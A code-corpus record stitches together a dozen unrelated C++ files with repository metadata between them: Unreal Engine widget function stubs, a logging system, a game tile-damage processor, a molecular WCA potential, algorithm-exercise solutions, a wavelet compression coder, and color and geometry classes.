params.InteractList; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Check for Repair Kit // (Public, HasOutParms, BlueprintCallable, BlueprintEvent, BlueprintPure) // Parameters: // bool bSuccess (Parm, OutParm, ZeroConstructor, IsPlainOldData, NoDestructor) void UW_InteractableList_VehicleBay_C::Check_for_Repair_Kit(bool* bSuccess) { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Check for Repair Kit"); UW_InteractableList_VehicleBay_C_Check_for_Repair_Kit_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; if (bSuccess != nullptr) *bSuccess = params.bSuccess; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Update Vehicle Build // (Public, HasDefaults, BlueprintCallable, BlueprintEvent) void UW_InteractableList_VehicleBay_C::Update_Vehicle_Build() { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Update Vehicle Build"); UW_InteractableList_VehicleBay_C_Update_Vehicle_Build_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Tick // (BlueprintCosmetic, Event, Public, BlueprintEvent) // Parameters: // struct FGeometry MyGeometry (BlueprintVisible, BlueprintReadOnly, Parm, IsPlainOldData, NoDestructor) // float InDeltaTime (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) void UW_InteractableList_VehicleBay_C::Tick(const struct FGeometry& MyGeometry, float InDeltaTime) { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Tick"); UW_InteractableList_VehicleBay_C_Tick_Params params; params.MyGeometry = MyGeometry; params.InDeltaTime = InDeltaTime; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Set Interactable Actor // (Public, BlueprintCallable, BlueprintEvent) // Parameters: // class AActor* Actor (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) void UW_InteractableList_VehicleBay_C::Set_Interactable_Actor(class AActor* Actor) { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Set Interactable Actor"); UW_InteractableList_VehicleBay_C_Set_Interactable_Actor_Params params; params.Actor = Actor; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Update Queue Items // (BlueprintCallable, BlueprintEvent) void UW_InteractableList_VehicleBay_C::Update_Queue_Items() { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.Update Queue Items"); UW_InteractableList_VehicleBay_C_Update_Queue_Items_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.ExecuteUbergraph_W_InteractableList_VehicleBay // (Final, HasDefaults) // Parameters: // int EntryPoint (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) void UW_InteractableList_VehicleBay_C::ExecuteUbergraph_W_InteractableList_VehicleBay(int EntryPoint) { static auto fn = UObject::FindObject<UFunction>("Function W_InteractableList_VehicleBay.W_InteractableList_VehicleBay_C.ExecuteUbergraph_W_InteractableList_VehicleBay"); UW_InteractableList_VehicleBay_C_ExecuteUbergraph_W_InteractableList_VehicleBay_Params params; params.EntryPoint = EntryPoint; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } } #ifdef _MSC_VER #pragma pack(pop) #endif
36.138249
176
0.768426
MrManiak
f19cd7c6e5ee1f136efa657c071fd18b35b531fb
155
cc
C++
Engine/Source/Core/LogSystem.cc
SleepyMode/StormEngine
3e595944adf93a5bf2362b025e8117a81a4316d8
[ "BSD-3-Clause" ]
null
null
null
Engine/Source/Core/LogSystem.cc
SleepyMode/StormEngine
3e595944adf93a5bf2362b025e8117a81a4316d8
[ "BSD-3-Clause" ]
null
null
null
Engine/Source/Core/LogSystem.cc
SleepyMode/StormEngine
3e595944adf93a5bf2362b025e8117a81a4316d8
[ "BSD-3-Clause" ]
null
null
null
#include "Core/LogSystem.h" void LogSystem::write(std::string message) { for (auto listener : LogSystem::listeners) { listener->onLog(message); } }
14.090909
43
0.696774
SleepyMode
f19d6fb76270d335c37ce16e1c7585415c8e508a
762
cpp
C++
engine/maps/tiles/source/HolyTileDamageProcessor.cpp
prolog/shadow-of-the-wyrm
a1312c3e9bb74473f73c4e7639e8bd537f10b488
[ "MIT" ]
60
2019-08-21T04:08:41.000Z
2022-03-10T13:48:04.000Z
engine/maps/tiles/source/HolyTileDamageProcessor.cpp
cleancoindev/shadow-of-the-wyrm
51b23e98285ecb8336324bfd41ebf00f67b30389
[ "MIT" ]
3
2021-03-18T15:11:14.000Z
2021-10-20T12:13:07.000Z
engine/maps/tiles/source/HolyTileDamageProcessor.cpp
cleancoindev/shadow-of-the-wyrm
51b23e98285ecb8336324bfd41ebf00f67b30389
[ "MIT" ]
8
2019-11-16T06:29:05.000Z
2022-01-23T17:33:43.000Z
#include "HolyTileDamageProcessor.hpp" #include "TileTextKeys.hpp" using namespace std; // Divine powers can curse anything. bool HolyTileDamageProcessor::affects_item(ItemPtr item) { return true; } string HolyTileDamageProcessor::get_message_sid() const { string message_sid = TileTextKeys::TILE_DAMAGE_HOLY; return message_sid; } int HolyTileDamageProcessor::get_pct_chance() const { return 50; } bool HolyTileDamageProcessor::destroy_item() const { return false; } // The Nine are jerks // Their wrath is rough // You call on them // They curse your stuff void HolyTileDamageProcessor::process_item(ItemPtr item) { if (item != nullptr) { item->set_status(ItemStatus::ITEM_STATUS_CURSED); item->set_status_identified(true); } }
19.05
56
0.755906
prolog
f1a2d2a053057f0d3c527aae085b7420844e8648
3,188
hpp
C++
mjolnir/forcefield/global/WCAPotential.hpp
ToruNiina/Mjolnir
44435dd3afc12f5c8ea27a66d7ab282df3e588ff
[ "MIT" ]
12
2017-02-01T08:28:38.000Z
2018-08-25T15:47:51.000Z
mjolnir/forcefield/global/WCAPotential.hpp
Mjolnir-MD/Mjolnir
043df4080720837042c6b67a5495ecae198bc2b3
[ "MIT" ]
60
2019-01-14T08:11:33.000Z
2021-07-29T08:26:36.000Z
mjolnir/forcefield/global/WCAPotential.hpp
Mjolnir-MD/Mjolnir
043df4080720837042c6b67a5495ecae198bc2b3
[ "MIT" ]
8
2019-01-13T11:03:31.000Z
2021-08-01T11:38:00.000Z
#ifndef MJOLNIR_POTENTIAL_GLOBAL_WCA_POTENTIAL_HPP #define MJOLNIR_POTENTIAL_GLOBAL_WCA_POTENTIAL_HPP #include <algorithm> #include <utility> #include <cmath> namespace mjolnir { template<typename T> class System; // Well-known WCA interaction with Lorentz-Berthelot combining rules. // This class contains sigmas and epsilons of the particles and calculates // energy and derivative of the potential function. template<typename realT> class WCAPotential { public: using real_type = realT; struct parameter_type { real_type sigma; real_type epsilon; }; static constexpr real_type default_cutoff() noexcept { return real_type(1.12246204831); // pow(2.0, 1.0 / 6.0) } public: WCAPotential() noexcept {} ~WCAPotential() = default; real_type potential(const real_type r, const parameter_type& params) const noexcept { if(params.sigma * default_cutoff() < r){return real_type(0);} const real_type r1s1 = params.sigma / r; const real_type r3s3 = r1s1 * r1s1 * r1s1; const real_type r6s6 = r3s3 * r3s3; return real_type(4) * params.epsilon * (r6s6 * (r6s6 - real_type(1)) + real_type(0.25)); } real_type derivative(const real_type r, const parameter_type& params) const noexcept { if(params.sigma * default_cutoff() < r){return real_type(0);} const real_type rinv = 1 / r; const real_type r1s1 = params.sigma * rinv; const real_type r3s3 = r1s1 * r1s1 * r1s1; const real_type r6s6 = r3s3 * r3s3; return real_type(24) * params.epsilon * (r6s6 * (real_type(1) - 2 * r6s6)) * rinv; } template<typename T> void initialize(const System<T>&) noexcept {return;} template<typename T> void update(const System<T>&) noexcept {return;} real_type cutoff_ratio() const noexcept {return default_cutoff();} real_type coef_at_cutoff() const noexcept {return real_type(0);} static const char* name() noexcept {return "WCA";} template<typename InputIterator> real_type max_cutoff(const InputIterator first, const InputIterator last) const noexcept { static_assert(std::is_same< typename std::iterator_traits<InputIterator>::value_type, parameter_type>::value, ""); if(first == last) {return 1;} real_type max_sigma = 0; for(auto iter = first; iter != last; ++iter) { const auto& parameter = *iter; max_sigma = std::max(max_sigma, parameter.sigma); } return max_sigma * default_cutoff(); } // It returns absolute cutoff length using pair-parameter. // `CombinationTable` uses this. real_type absolute_cutoff(const parameter_type& params) const noexcept { return params.sigma * default_cutoff(); } }; } // mjolnir #ifdef MJOLNIR_SEPARATE_BUILD #include <mjolnir/core/SimulatorTraits.hpp> #include <mjolnir/core/BoundaryCondition.hpp> namespace mjolnir { extern template class WCAPotential<double>; extern template class WCAPotential<float >; } // mjolnir #endif// MJOLNIR_SEPARATE_BUILD #endif /* MJOLNIR_LENNARD_JONES_POTENTIAL */
29.794393
96
0.675345
ToruNiina
f1accc9f81351d8e33601c0b75afd4ccc2bbc21b
49
cpp
C++
test/autogen/smp@algorithm@compare_with.cpp
jonathanpoelen/jln.mp
e5f05fc4467f14ac0047e3bdc75a04076e689985
[ "MIT" ]
9
2020-07-04T16:46:13.000Z
2022-01-09T21:59:31.000Z
test/autogen/smp@algorithm@compare_with.cpp
jonathanpoelen/jln.mp
e5f05fc4467f14ac0047e3bdc75a04076e689985
[ "MIT" ]
null
null
null
test/autogen/smp@algorithm@compare_with.cpp
jonathanpoelen/jln.mp
e5f05fc4467f14ac0047e3bdc75a04076e689985
[ "MIT" ]
1
2021-05-23T13:37:40.000Z
2021-05-23T13:37:40.000Z
#include "jln/mp/smp/algorithm/compare_with.hpp"
24.5
48
0.795918
jonathanpoelen
f1b8490c8758f877f5c1d11e6dc2ae9c0a5121a8
763
cpp
C++
1290-convert-binary-number-in-a-linked-list-to-integer/1290-convert-binary-number-in-a-linked-list-to-integer.cpp
dishanp/LeetCode-World
6c49c8731dae772fb7bc47f777a4d3b3e01dd70e
[ "MIT" ]
null
null
null
1290-convert-binary-number-in-a-linked-list-to-integer/1290-convert-binary-number-in-a-linked-list-to-integer.cpp
dishanp/LeetCode-World
6c49c8731dae772fb7bc47f777a4d3b3e01dd70e
[ "MIT" ]
null
null
null
1290-convert-binary-number-in-a-linked-list-to-integer/1290-convert-binary-number-in-a-linked-list-to-integer.cpp
dishanp/LeetCode-World
6c49c8731dae772fb7bc47f777a4d3b3e01dd70e
[ "MIT" ]
null
null
null
/** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: ListNode* rev(ListNode *p){ ListNode *q=0; ListNode *r=0; while(p){ r=q; q=p; p=p->next; q->next=r; } return q; } int getDecimalValue(ListNode* head) { int res=0; int i=0; ListNode *p=rev(head); while(p){ if(p->val==1) res+=pow(2,i); p=p->next; ++i; } return res; } };
21.194444
62
0.432503
dishanp
f1bcc8fd92e14483dd953024904a70d0147115a1
5,355
cpp
C++
COMP/WT/Src/CVLCCoder.cpp
hvanruys/PublicDecompWT-2.7.2
b51650d633654b5397ca08818ef90c9e1057f9b8
[ "Apache-2.0" ]
null
null
null
COMP/WT/Src/CVLCCoder.cpp
hvanruys/PublicDecompWT-2.7.2
b51650d633654b5397ca08818ef90c9e1057f9b8
[ "Apache-2.0" ]
null
null
null
COMP/WT/Src/CVLCCoder.cpp
hvanruys/PublicDecompWT-2.7.2
b51650d633654b5397ca08818ef90c9e1057f9b8
[ "Apache-2.0" ]
null
null
null
/* * Copyright 2011-2019, European Organisation for the Exploitation of Meteorological Satellites (EUMETSAT) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ //:Ignore ////////////////////////////////////////////////////////////////////////// // // FileName: CVLCCoder.cpp // // Date Created: 15/01/1999 // // Author: Youssef Ouaghli // // Description: CVLCCoder class definition. // // Last Modified: $Dmae: 1999/08/26 15:41:07 $ // // RCS Id: $Id: CVLCCoder.cpp,v 1.45 1999/08/26 15:41:07 youag Exp $ // ////////////////////////////////////////////////////////////////////////// //:End Ignore #include "CVLCCoder.h" namespace COMP { void CVLCCoder::CodeQuadrantDC (CWBlock &i_Wblk, const unsigned int i_W, const unsigned int i_H, const unsigned int i_Quadrant) { COMP_TRYTHIS // Get the number of bits needed to code the block coefs unsigned int nbBit = speed_csize (i_Wblk.GetQuadrantMaxCoef (0, 0, i_W, i_H)); m_Ac.CodeBits (nbBit, m_NbBitNbBitCoef); if (nbBit) { m_Mod = m_Models[nbBit++]; if (! m_Mod[0].IsInitialized ()) for (unsigned int i=0 ; i<=nbBit ; i++) m_Mod[i].Initialize (nbBit + 1); int oldCoef = 1UL << (nbBit - 2); unsigned int context = nbBit; const int *p = i_Wblk.GetData()[0]; const unsigned int w = i_Wblk.GetW(); for (int i=i_H ; i>0 ; i--, p+=w) { for (unsigned int j=i_W ; j ; j--) { const int c = *p++; context = (context + CodeCoef (context, c - oldCoef)) >> 1; oldCoef = c; } if (--i) { p += w; for (unsigned int j=i_W ; j ; j--) { const int c = *--p; context = (context + CodeCoef (context, c - oldCoef)) >> 1; oldCoef = c; } } } } COMP_CATCHTHIS } void CVLCCoder::CodeQuadrant (CWBlock &i_Wblk, const unsigned int i_X, const unsigned int i_Y, const unsigned int i_W, const unsigned int i_H, const unsigned int i_Level, const unsigned int i_Quadrant) { COMP_TRYTHIS // Get the number of bits needed to code the block coefs unsigned int nbBit = speed_csize (i_Wblk.GetQuadrantMaxCoef (i_X, i_Y, i_W, i_H)); m_Ac.CodeBits (nbBit, m_NbBitNbBitCoef); const unsigned int coefShift = i_Level >= m_NbLossyBitPlane ? 0 : m_NbLossyBitPlane - i_Level - (i_Quadrant > m_NbLossyQuadrant ? 1 : 0); if (nbBit > coefShift) { nbBit -= coefShift; m_Mod = m_Models[nbBit - 1]; if (! m_Mod[0].IsInitialized ()) for (unsigned int i=0 ; i<=nbBit ; i++) m_Mod[i].Initialize (nbBit + 1); unsigned int context = nbBit; const int *p = i_Wblk.GetData()[i_Y] + i_X; const unsigned int w = i_Wblk.GetW(); if (! coefShift) for (int i=i_H ; i>0 ; i--, p+=w) { for (unsigned int j=i_W ; j ; j--) context = (context + CodeCoef (context, *p++)) >> 1; if (--i) { p += w; for (unsigned int j=i_W ; j ; j--) context = (context + CodeCoef (context, *--p)) >> 1; } } else for (int i=i_H ; i>0 ; i--, p+=w) { for (unsigned int j=i_W ; j ; j--) { int cV = *p++; cV = cV >= 0 ? cV >> coefShift : -(-cV >> coefShift); context = (context + CodeCoef (context, cV)) >> 1; } if (--i) { p += w; for (unsigned int j=i_W ; j ; j--) { int cV = *--p; cV = cV >= 0 ? cV >> coefShift : -(-cV >> coefShift); context = (context + CodeCoef (context, cV)) >> 1; } } } } COMP_CATCHTHIS } void CVLCCoder::Code (CWBlock &i_Wblk, const unsigned int i_NbIteWt, const unsigned int i_NbLossyBp) { COMP_TRYTHIS // Get the number of bits needed to code the block coefs const unsigned int nbBit = speed_csize (i_Wblk.GetMaxCoef ()); // To make sure CACCoder::CodeBits() will not fail Assert (nbBit <= (c_ACNbBits - 2), Util::CParamException()); m_Ac.CodeBits (nbBit, 5); if (nbBit) { static const unsigned int bitPlanes[16] = {0, 1, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4}; static const unsigned int quadrants[16] = {0, 0, 0, 2, 3, 0, 2, 3, 5, 6, 0, 2, 3, 5, 6, 9}; Assert (i_NbLossyBp < 16, Util::CParamException()); unsigned int w = i_Wblk.GetW() >> i_NbIteWt; unsigned int h = i_Wblk.GetH() >> i_NbIteWt; // Check the block dimension against the number of wavelet transform iteration Assert ((w << i_NbIteWt) == i_Wblk.GetW() || (h << i_NbIteWt) == i_Wblk.GetH(), Util::CParamException()); unsigned int m = i_NbIteWt; unsigned int q = i_NbIteWt * 3; m_NbBitCoef = nbBit; m_NbBitNbBitCoef = speed_csize (nbBit); m_NbIteWt = i_NbIteWt; m_NbLossyBitPlane = bitPlanes[i_NbLossyBp]; m_NbLossyQuadrant = quadrants[i_NbLossyBp]; CodeQuadrantDC (i_Wblk, w, h, q--); for (unsigned int k=0 ; k<i_NbIteWt ; k++, w<<=1, h<<=1, m--) { CodeQuadrant (i_Wblk, w, 0, w, h, m, q--); CodeQuadrant (i_Wblk, 0, h, w, h, m, q--); CodeQuadrant (i_Wblk, w, h, w, h, m - 1, q--); } } COMP_CATCHTHIS } } // namespace COMP
29.585635
107
0.605789
hvanruys
f1bceb5c1aafd818fd8ada07c0f30fe8c3c1b21f
3,502
hpp
C++
kernel/boost/statistics/detail/kernel/bandwidth_selection/detail/k_fold.hpp
rogard/boost_sandbox_statistics
16aacbc716a31a9f7bb6c535b1c90dc343282a23
[ "BSL-1.0" ]
null
null
null
kernel/boost/statistics/detail/kernel/bandwidth_selection/detail/k_fold.hpp
rogard/boost_sandbox_statistics
16aacbc716a31a9f7bb6c535b1c90dc343282a23
[ "BSL-1.0" ]
null
null
null
kernel/boost/statistics/detail/kernel/bandwidth_selection/detail/k_fold.hpp
rogard/boost_sandbox_statistics
16aacbc716a31a9f7bb6c535b1c90dc343282a23
[ "BSL-1.0" ]
null
null
null
////////////////////////////////////////////////////////////////////////////////////////// // kernel::bandwidth_selection::detail::cross_validate.hpp // // // // (C) Copyright 2009 Erwann Rogard // // Use, modification and distribution are subject to the // // Boost Software License, Version 1.0. (See accompanying file // // LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // ////////////////////////////////////////////////////////////////////////////////////////// #ifndef BOOST_STATISTICS_DETAIL_KERNEL_BANDWIDTH_SELECTION_DETAIL_K_FOLD_HPP_ER_2009 #define BOOST_STATISTICS_DETAIL_KERNEL_BANDWIDTH_SELECTION_DETAIL_K_FOLD_HPP_ER_2009 #include <boost/statistics/detail/kernel/estimation/estimator.hpp> #include <boost/statistics/detail/kernel/estimation/detail/mean_accumulator.hpp> #include <boost/statistics/detail/cross_validation/k_fold/partition.hpp> #include <boost/statistics/detail/cross_validation/k_fold/cross_validate.hpp> #include <boost/statistics/detail/cross_validation/k_fold/train_predict.hpp> namespace boost{ namespace statistics{ namespace detail{ namespace kernel{ namespace bandwidth_selection{ namespace detail{ template< typename U, // data-unit template<typename,typename,typename> class V, typename K, typename Ft, typename Fi, typename Fo, typename A = typename kernel::detail::mean_accumulator<typename K::result_type>::type > class k_fold : public cross_validation::k_fold::partition<U,Ft,Fi,Fo> { typedef cross_validation::k_fold::partition<U,Ft,Fi,Fo> kfp_; typedef typename kfp_::meta_training_range::type tr_; typedef estimator<tr_,V,K,A> est_t; typedef kfp_& rkfp_; public: typedef kfp_ super_; typedef est_t estimator_type; // Constructor k_fold(){} template<typename It> k_fold( unsigned num_folds, It b, //dataset It e ):kfp_( num_folds, b,e ){ // Default constructs estimator } // TODO create a constructor with argument pack (overloading constr // uctor would be cumbersome) // Access // Cross validation template<typename T,typename It> It train_predict( K k, It it_p // predicted values ) { rkfp_ rkfp = static_cast<rkfp_>(*this); return cross_validation::k_fold::train_predict( rkfp, est_t(k), it_p ); } template<typename It,typename It1> It cross_validate( K k, It i_p, // predicted values It1 i_o // true values ){ rkfp_ rkfp = static_cast<rkfp_>(*this); return cross_validation::k_fold::cross_validate( rkfp, est_t(k), i_p, i_o ); } }; }// detail }// bandwidth_selection }// kernel }// detail }// statistics }// boost #endif
32.12844
95
0.515705
rogard
f1c37fc8a0cf5aa4b9f59043a949fddb0422ef76
1,532
cpp
C++
Advanced/AA1012/AA1012/main.cpp
Eric-Ma-C/PAT-Advanced
ea8b46a780a04b46ab35ebd06c4bf19c3a664380
[ "MIT" ]
null
null
null
Advanced/AA1012/AA1012/main.cpp
Eric-Ma-C/PAT-Advanced
ea8b46a780a04b46ab35ebd06c4bf19c3a664380
[ "MIT" ]
null
null
null
Advanced/AA1012/AA1012/main.cpp
Eric-Ma-C/PAT-Advanced
ea8b46a780a04b46ab35ebd06c4bf19c3a664380
[ "MIT" ]
null
null
null
#include<stdio.h> #include<string.h> int main(){ int n; scanf("%d",&n); getchar(); char c[100][257]; char same[257]={0}; for(int i=0;i<n;i++){ fgets(c[i],257,stdin); c[i][strlen(c[i])-1]='\0'; //gets_s(c[i]); } int t0=strlen(c[0])-1,t1=strlen(c[1])-1; for(;t0>=0,t1>=0,c[0][t0]==c[1][t1]; t0--,t1--) ; strcpy(same,c[0]+t0+1); for(int i=2;i<n;i++){ int j=strlen(c[i])-1; int s=strlen(same)-1; for(;s>=0,j>=0,same[s]==c[i][j];j--,s--) ; if(s>=0) strcpy(same,c[i]+j+1); } if(strlen(same)==0) printf("nai"); else printf("%s",same); getchar(); return 0; } //#include<stdio.h> //#include<iostream> //#include<string.h> //#include<algorithm> // //int main(){ // int n; // scanf("%d",&n); // getchar(); // // char c[100][257]; // int shortest=256; // for(int i=0;i<n;i++){ // /*fgets(c[i],257,stdin); // c[i][strlen(c[i])-1]='\0';*/ // //gets(c[i]); // std::cin.getline(c[i],257); // // //reverse // int len=strlen(c[i]); // if(shortest>len) // shortest=len; // // std::reverse(c[i],c[i]+len); // // } // int ans=0; // for(int i=0;i<shortest;i++){ // char ch=c[0][i]; // bool ok=true; // for(int j=1;j<n;j++){ // if(c[j][i]!=ch){ // ok=false; // break; // } // } // // if(ok) ans++; // else break; // } // // if(ans==0) // printf("nai"); // else{ // for(int i=ans-1;i>=0;i--) // printf("%c",c[0][i]); // } // // //getchar(); //return 0; //}
16.473118
48
0.447781
Eric-Ma-C
f1cbc1d1654f3a1b0ebed909bd8c6fb57c813151
4,582
hpp
C++
include/color3.hpp
jvmnielsen/graphics-math
a7ac23dd28dd11747550238bbad6e0b364cf6cff
[ "MIT" ]
1
2020-07-20T15:21:05.000Z
2020-07-20T15:21:05.000Z
include/color3.hpp
jvmnielsen/graphics-math
a7ac23dd28dd11747550238bbad6e0b364cf6cff
[ "MIT" ]
null
null
null
include/color3.hpp
jvmnielsen/graphics-math
a7ac23dd28dd11747550238bbad6e0b364cf6cff
[ "MIT" ]
null
null
null
#pragma once #include "util.hpp" #include <cstdint> #include <ostream> #include <algorithm> namespace gm { template<typename Type> class Color3 { public: Type r, g, b; constexpr Color3() : r(0), g(0), b(0) { } constexpr explicit Color3(Type val) : r(val), g(val), b(val) { } constexpr Color3(Type r_, Type g_, Type b_) : r(r_), g(g_), b(b_) { } auto static constexpr black() -> Color3 { return Color3{0}; } auto constexpr operator==(Color3<Type> const& other) const -> bool { if constexpr (std::is_floating_point_v<Type>) { return gcem::abs(r - other.r) < constants::epsilon && gcem::abs(g - other.g) < constants::epsilon && gcem::abs(b - other.b) < constants::epsilon; } else { return r == other.x && g == other.y && b == other.z; } } auto constexpr operator!=(Color3<Type> const& other) const -> bool { if constexpr (std::is_floating_point_v<Type>) { return gcem::abs(r - other.r) > constants::epsilon || gcem::abs(g - other.g) > constants::epsilon || gcem::abs(b - other.b) > constants::epsilon; } else { return r != other.x || g != other.y || b != other.z; } } auto constexpr operator*(Type factor) const -> Color3<Type> { return Color3{r * factor, g * factor, b * factor}; } auto constexpr operator*=(Type factor) -> Color3<Type>& { r *= factor; g *= factor; b *= factor; return *this; } auto constexpr operator/(Type factor) const -> Color3<Type> { return Color3{r / factor, g / factor, b / factor}; } auto constexpr operator/=(Type factor) -> Color3<Type>& { r /= factor; g /= factor; b /= factor; return *this; } auto constexpr operator+(Color3<Type> const& other) const -> Color3<Type> { return Color3{r + other.r, g + other.g, b + other.b}; } auto constexpr operator+=(Color3<Type> const& other) -> Color3<Type>& { r += other.r; g += other.g; b += other.b; return *this; } auto constexpr operator-(Color3<Type> const& other) const -> Color3<Type> { return Color3<Type>{r - other.r, g - other.g, b - other.b}; } auto constexpr operator-=(Color3<Type> const& other) -> Color3<Type>& { r -= other.r; g -= other.g; b -= other.b; return *this; } auto constexpr operator*(Color3<Type> const& other) const -> Color3<Type> { return {r * other.r, g * other.g, b * other.b}; } auto constexpr is_black() const -> bool { return *this == black(); } auto constexpr clamp() -> void { r = std::clamp(r, 0, 1); g = std::clamp(g, 0, 1); b = std::clamp(b, 0, 1); } auto constexpr gamma_encode(FLOAT gamma) -> void { auto const gamma_exponent = 1 / gamma; r = gcem::pow(r, gamma_exponent); g = gcem::pow(g, gamma_exponent); b = gcem::pow(b, gamma_exponent); } auto constexpr convert_to_rgb() -> void { gamma_encode(2.2f); r = 255 * std::clamp(r, 0.0f, 1.0f); g = 255 * std::clamp(g, 0.0f, 1.0f); b = 255 * std::clamp(b, 0.0f, 1.0f); } auto friend operator<<(std::ostream &os, Color3<Type> const& c) -> std::ostream & { os << '(' << c.r << ',' << c.g << ',' << c.b <<')' << '\n'; return os; } }; template<typename Type> auto constexpr operator*(Type factor, Color3<Type> const& color) -> Color3<Type> { return Color3<Type>{ color.r * factor, color.g * factor, color.b * factor }; } template<typename Type> auto constexpr operator/(Type factor, Color3<Type> const& color) -> Color3<Type>{ return Color3<Type>{ color.r / factor, color.g / factor, color.b / factor }; } template<typename Type> auto constexpr lerp(Type t, Color3<Type> const& s1, Color3<Type> const& s2) -> Color3<Type> { return (1 - t) * s1 + t * s2; } typedef Color3<FLOAT> Color3f; typedef Color3<std::uint8_t> Color3ui8; typedef Color3<unsigned short> Color3ui16; }
32.496454
97
0.502837
jvmnielsen
f1ce31b62251e710036763176766a7b7ffeef09a
2,823
cpp
C++
vox.geometry/surface_to_implicit2.cpp
SummerTree/DigitalVox4
2eb718abcaccc4cd1dde3b0f28090c197c1905d4
[ "MIT" ]
6
2022-01-23T04:58:50.000Z
2022-03-16T06:11:38.000Z
vox.geometry/surface_to_implicit2.cpp
SummerTree/DigitalVox4
2eb718abcaccc4cd1dde3b0f28090c197c1905d4
[ "MIT" ]
null
null
null
vox.geometry/surface_to_implicit2.cpp
SummerTree/DigitalVox4
2eb718abcaccc4cd1dde3b0f28090c197c1905d4
[ "MIT" ]
1
2022-01-20T05:53:59.000Z
2022-01-20T05:53:59.000Z
// Copyright (c) 2022 Feng Yang // // I am making my contributions/submissions to this project solely in my // personal capacity and am not conveying any rights to any intellectual // property of any third parties. #include "surface_to_implicit2.h" //#include <pch.h> using namespace vox; SurfaceToImplicit2::SurfaceToImplicit2(const Surface2Ptr &surface, const Transform2D &transform, bool isNormalFlipped) : ImplicitSurface2(transform, isNormalFlipped), _surface(surface) { } SurfaceToImplicit2::SurfaceToImplicit2(const SurfaceToImplicit2 &other) : ImplicitSurface2(other), _surface(other._surface) { } bool SurfaceToImplicit2::isBounded() const { return _surface->isBounded(); } void SurfaceToImplicit2::updateQueryEngine() { _surface->updateQueryEngine(); } bool SurfaceToImplicit2::isValidGeometry() const { return _surface->isValidGeometry(); } Surface2Ptr SurfaceToImplicit2::surface() const { return _surface; } SurfaceToImplicit2::Builder SurfaceToImplicit2::builder() { return Builder(); } Point2D SurfaceToImplicit2::closestPointLocal(const Point2D &otherPoint) const { return _surface->closestPoint(otherPoint); } Vector2D SurfaceToImplicit2::closestNormalLocal(const Point2D &otherPoint) const { return _surface->closestNormal(otherPoint); } double SurfaceToImplicit2::closestDistanceLocal(const Point2D &otherPoint) const { return _surface->closestDistance(otherPoint); } bool SurfaceToImplicit2::intersectsLocal(const Ray2D &ray) const { return _surface->intersects(ray); } SurfaceRayIntersection2 SurfaceToImplicit2::closestIntersectionLocal(const Ray2D &ray) const { return _surface->closestIntersection(ray); } BoundingBox2D SurfaceToImplicit2::boundingBoxLocal() const { return _surface->boundingBox(); } bool SurfaceToImplicit2::isInsideLocal(const Point2D &otherPoint) const { return _surface->isInside(otherPoint); } double SurfaceToImplicit2::signedDistanceLocal(const Point2D &otherPoint) const { Point2D x = _surface->closestPoint(otherPoint); bool inside = _surface->isInside(otherPoint); return (inside) ? -x.distanceTo(otherPoint) : x.distanceTo(otherPoint); } SurfaceToImplicit2::Builder &SurfaceToImplicit2::Builder::withSurface(const Surface2Ptr &surface) { _surface = surface; return *this; } SurfaceToImplicit2 SurfaceToImplicit2::Builder::build() const { return SurfaceToImplicit2(_surface, _transform, _isNormalFlipped); } SurfaceToImplicit2Ptr SurfaceToImplicit2::Builder::makeShared() const { return std::shared_ptr<SurfaceToImplicit2>(new SurfaceToImplicit2(_surface, _transform, _isNormalFlipped), [](SurfaceToImplicit2 *obj) { delete obj; }); }
31.021978
110
0.741056
SummerTree
f1ce687f0b0f2b558414911c0eb7aeb982262eb3
773
cpp
C++
src/System/GlfwTools.cpp
D3r3k23/DrkCraft
5eaae66f558ce84f18de702b4227ca8d2cfe534f
[ "MIT" ]
1
2022-02-10T04:41:57.000Z
2022-02-10T04:41:57.000Z
src/System/GlfwTools.cpp
D3r3k23/DrkCraft
5eaae66f558ce84f18de702b4227ca8d2cfe534f
[ "MIT" ]
null
null
null
src/System/GlfwTools.cpp
D3r3k23/DrkCraft
5eaae66f558ce84f18de702b4227ca8d2cfe534f
[ "MIT" ]
null
null
null
